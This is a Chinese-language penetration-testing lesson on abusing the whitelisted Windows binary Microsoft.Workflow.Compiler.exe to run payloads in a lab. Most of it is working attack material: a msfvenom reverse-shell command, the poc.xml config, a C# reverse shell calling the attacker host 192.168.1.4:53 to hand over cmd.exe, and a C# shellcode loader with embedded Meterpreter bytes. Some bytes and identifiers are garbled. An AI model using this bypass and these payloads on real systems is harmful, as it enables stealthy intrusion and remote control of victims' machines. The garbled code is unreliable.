注：请多喝点热水或者凉白开，身体特别重要。

说明：Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中，因此，Microsoft.Workflow.Compiler命令无法识别。

基于白名单Microsoft.Workflow.Compiler.exe配置payload：

Windows 7 默认位置：

  1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
  2. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe

攻击机：192.168.1.4 Debian
靶机：192.168.1.3 Windows 7

配置攻击机msf：

第七十六课：基于白名单Compiler.exe执行payload第六季 - 图1

靶机执行：

  1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml Micropoor.tcp

第七十六课：基于白名单Compiler.exe执行payload第六季 - 图2

第七十六课：基于白名单Compiler.exe执行payload第六季 - 图3

结合meterpreter：

注：payload.cs需要用到System.Workflow.Activities

靶机执行：

  1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml Micropoor_rev1.cs

配置攻击机msf：
第七十六课：基于白名单Compiler.exe执行payload第六季 - 图4

payload生成： 

  1. msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f csharp

第七十六课：基于白名单Compiler.exe执行payload第六季 - 图5

附录：poc.xml

注：windows/shell/reverse_tcp

  1. <?xml version="1.0" encoding="utf‐8"?>
  3. <CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema‐instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler"
  5. <files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
  7. <d2p1:string>Micropoor.tcp</d2p1:string>
  9. </files>
  11. <parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
  13. <assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
  15. <compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
  17. <coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
  19. <embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
  21. <evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
  23. <generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
  25. <generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
  27. <includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
  29. <linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
  31. <mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
  33. <outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
  35. <tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
  37. <treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
  39. <warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">‐1</warningLevel>
  41. <win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
  43. <d2p1:checkTypes>false</d2p1:checkTypes>
  45. <d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
  47. <d2p1:compilerOptions i:nil="true" />
  49. <d2p1:generateCCU>false</d2p1:generateCCU>
  51. <d2p1:languageToUse>CSharp</d2p1:languageToUse>
  53. <d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
  55. <d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
  57. <d2p1:mtInfo i:nil="true" />
  59. <d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
  61. </parameters>
  63. </CompilerInput>

Micropoor.tcp：

  1. using System;
  3. using System.Text;
  5. using System.IO;
  7. using System.Diagnostics;
  9. using System.ComponentModel;
  11. using System.Net;
  13. using System.Net.Sockets;
  15. using System.Workflow.Activities; 
  17. public class Program : SequentialWorkflowActivity
  19. {
  21. static StreamWriter streamWriter; 
  23. public Program()
  25. {
  27. using(TcpClient client = new TcpClient("192.168.1.4", 53))
  29. {
  31. using(Stream stream = client.GetStream())
  33. {
  35. using(StreamReader rdr = new StreamReader(stream))
  37. {
  39. streamWriter = new StreamWriter(stream); 
  41. StringBuilder strInput = new StringBuilder(); 
  43. Process p = new Process();
  45. p.StartInfo.FileName = "cmd.exe";
  47. p.StartInfo.CreateNoWindow = true;
  49. p.StartInfo.UseShellExecute = false;
  51. p.StartInfo.RedirectStandardOutput = true;
  53. p.StartInfo.RedirectStandardInput = true;
  55. p.StartInfo.RedirectStandardError = true;
  57. p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
  59. p.Start();
  61. p.BeginOutputReadLine(); 
  63. while(true)
  65. {
  67. strInput.Append(rdr.ReadLine());
  69. p.StandardInput.WriteLine(strInput);
  71. strInput.Remove(0, strInput.Length);
  73. }
  75. }
  77. }
  79. }
  81. } 
  83. private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
  85. {
  87. StringBuilder strOutput = new StringBuilder(); 
  89. if (!String.IsNullOrEmpty(outLine.Data))
  91. {
  93. try
  95. {
  97. strOutput.Append(outLine.Data);
  99. streamWriter.WriteLine(strOutput);
  101. streamWriter.Flush();
  103. }
  105. catch (Exception err) { }
  107. }
  109. } 
  111. }

Micropoor_rev1.cs：

注：x64 payload

  1. using System;
  3. using System.Workflow.Activities;
  5. using System.Net;
  7. using System.Net.Sockets;
  9. using System.Runtime.InteropServices;
  11. using System.Threading;
  13. class yrDaTlg : SequentialWorkflowActivity {
  15. [DllImport("kernel32")] private static extern IntPtr VirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ);
  17. [DllImport("kernel32")] public static extern bool VirtualProtect(IntPt rDStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVp Sg);
  19. [DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32 ZSheqBwKtDf, ref UInt32 SZtdSB);
  21. [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM);
  23. public yrDaTlg() {
  25. byte[] QWKpWKhcs =
  27. {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
  29. 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,x48,
  31. 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,xc9,
  33. 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,x41,
  35. 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,x48,
  37. 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,x8b,
  39. 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,x8b,
  41. 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,x41,
  43. 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,xc1,
  45. 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,x45,
  47. 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,x8b,
  49. 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,x01,
  51. 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,x48,
  53. 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,xe9,
  55. 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,x00,
  57. 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,xe5,
  59. 0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,xe4,
  61. 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,x68,
  63. 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,x0a,
  65. 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,x89,
  67. 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,xd5,
  69. 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,xba,
  71. 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,xe5,
  73. 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,xc9,
  75. 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,xd5,
  77. 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,x41,
  79. 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,x41,
  81. 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,x31,
  83. 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,xc8,
  85. 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,x40,
  87. 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,xd5,
  89. 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,x3c,
  91. 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,x41,
  93. 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,xd5};
  95. IntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04);
  97. Marshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length);
  99. IntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = 0; IntPtr pAeCTf wBS = IntPtr.Zero;
  101. uint BnhanUiUJaetgy;
  103. bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out BnhanUiUJaetgy);
  105. oXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi);
  107. WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);}
  109. }

Micropoor